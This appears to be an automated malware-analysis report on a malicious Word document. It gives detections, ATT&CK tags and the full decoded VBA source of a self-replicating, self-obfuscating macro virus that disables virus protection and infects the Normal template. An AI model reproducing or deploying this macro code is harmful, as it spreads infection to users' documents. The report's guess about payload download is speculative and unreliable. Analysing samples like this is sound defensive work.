MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute automatically. The macro attempts to disable virus protection and save settings, indicating malicious intent. It also attempts to write to the registry key HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info\LogFil, likely for persistence or to download a payload.
Heuristics 3
-
ClamAV: Doc.Trojan.CPCK-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.CPCK-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 14108 bytes |
SHA-256: 58adda48ea49b4124295a1807011dcea86cc97871664423fe44a04a190820e37 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
K = BtIGf + VrGDw + OqJPs + NvEMy + T
On Error Resume Next
H = RrGUm + NqCMk + UhALf + JlLLp + I
Options.VirusProtection = 0
Q = BuVBr + IpDKu + NoDUl + LrCRp + N
Application.EnableCancelKey = 0
E = AvBCs + CzLOo + SyEOq + HwPUo + BjIKp + EsCMw + UxJGg + QtOFy + AsRGu + KuHAp + T
Options.SaveNormalPrompt = 0
R = QfHLy + NqVCf + NsDKv + VxAHn + UoISh + OkVHp + JkDJo + L
Options.ConfirmConversions = 0
C = LuNKl + TrGGw + LvMHg + KvPQm + RwREe + ByRIp + C
HS76 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
J = BkLMv + KjQIg + QyNPz + I
FS97 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
E = ViPJj + GsJUx + OsCEy + JeLKe + I
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
O = GoDLe + MfOJk + BjPKw + EsRBo + QiHVi + T
Set BN9 = ActiveDocument.VBProject.VBComponents.Item(1)
P = JxURk + IzDDo + IxGOh + KvTIs + QvJFg + NrISn + UoHTu + FwHAj + StPIi + QqBJs + G
GR50 = True
E = DmVFf + CeNNg + MuSBq + QuIIo + FnEBg + ClTFf + SqKQh + IvHJw + NxEPo + V
End If
M = AqGQg + SwCAw + IvVTn + QwFAh + RiHJn + RnEEr + H
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
O = JnBMv + VfVSq + ReFDk + AsPCx + GrMGt + RtIIh + JkOIf + L
Set BN9 = NormalTemplate.VBProject.VBComponents.Item(1)
L = MjKTt + OgGIz + GeQMm + FoRSx + J
QK62 = True
E = JkKIf + VmLNy + G
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = "TRUE"
L = DqMMi + ArBGm + N
End If
U = UjMJj + DyFQf + HkRAi + KvNTf + OzOVz + B
If QK62 = True Then
P = MiABn + GqLQq + HyIMj + MlRJi + P
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\Secure.sys"
C = EiBFf + SvEFf + FuPOi + QtSPg + EsMHv + MmDBm + SlJEp + VjIKn + OzOTs + J
BN9.CodeModule.AddFromFile ("c:\Secure.sys")
G = HqQJk + LwGBe + GmGSs + RwGBp + JmAHx + HjNVh + MmETs + NmQPk + QuMLn + J
BN9.CodeModule.deletelines 1, 4
S = VoMKz + IwODv + IxNPq + JsPEz + TzKQj + E
BN9.CodeModule.replaceline 1, "Sub Document_Close()"
A = ThJKs + FiLLm + BkFBt + VsOHr + HvEJm + FkMNy + D
ElseIf GR50 = True Then
S = InGSg + LrAFw + OeGFg + CnNNk + C
BN9.CodeModule.AddFromFile ("c:\Secure.sys")
I = SuOIh + JhEQg + EeVTo + OpDOm + SrBLy + J
BN9.CodeModule.deletelines 1, 4
U = VzONo + AkGVt + IsHFm + PuMMe + F
End If
D = QrNKp + CeDMl + ClQRq + BpMBq + CwGVm + GqKBp + JfGDo + HoIFy + OrMTq + NrBCw + Q
With BN9.CodeModule
M = DzPSo + ReLBm + HtPIr + EgDIm + Q
For x = 2 To (BN9.CodeModule.CountOfLines - 1) Step 2
T = HzRUt + EfEJs + HeMLx + A
For y = 1 To (Int(Rnd * 10) + 2)
Q = PuUKk + IuNMp + OjBDx + BnVEs + TpFSy + CeSSe + FlNVq + BgDFm + IoUMe + I
DT36 = DT36 + (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & " + "
T = MqBAs + JrNDq + DeGBi + PuRTe + FpUUo + TnJSk + TwROf + SiRKj + MwGKg + I
Next y
B = LeJRt + BgMSi + QfBSu + GyTVu + LsEEx + NnSBv + NpGSt + VrRRm + HnOMy + SyDGq + JhBTu + R
.replaceline x, (Chr(65 + Int(Rnd * 22))) & " = " & DT36 & (Chr(65 + Int(Rnd * 22)))
U = ClFSv + EoNNx + I
DT36 = ""
B = AgKIf + FnARp + MrDQv + EsJQx + JhMQt + N
Next x
T = PsNDg + IiDKz + QhGJo + AlVCi + AeVPk + DwVPg + CwFAs + F
End With
H = SySRv + CmBNp + UvGNu + GxAVj + JpKSq + PrIFu + BiSHq + VkKSs + DgLRm + V
JU61:
K = GvRTx + TmTQs + LhDRq + LyBSe + AlUCr + T
End Sub
' Processing file: /opt/analyzer/scan_staging/4eafa38035e244e8b3b3d912511ef942.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 7094 bytes
' Line #0:
' FuncDefn (Sub Document_Open())
' Line #1:
' Ld BtIGf
' Ld VrGDw
' Add
' Ld OqJPs
' Add
' Ld NvEMy
' Add
' Ld T
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.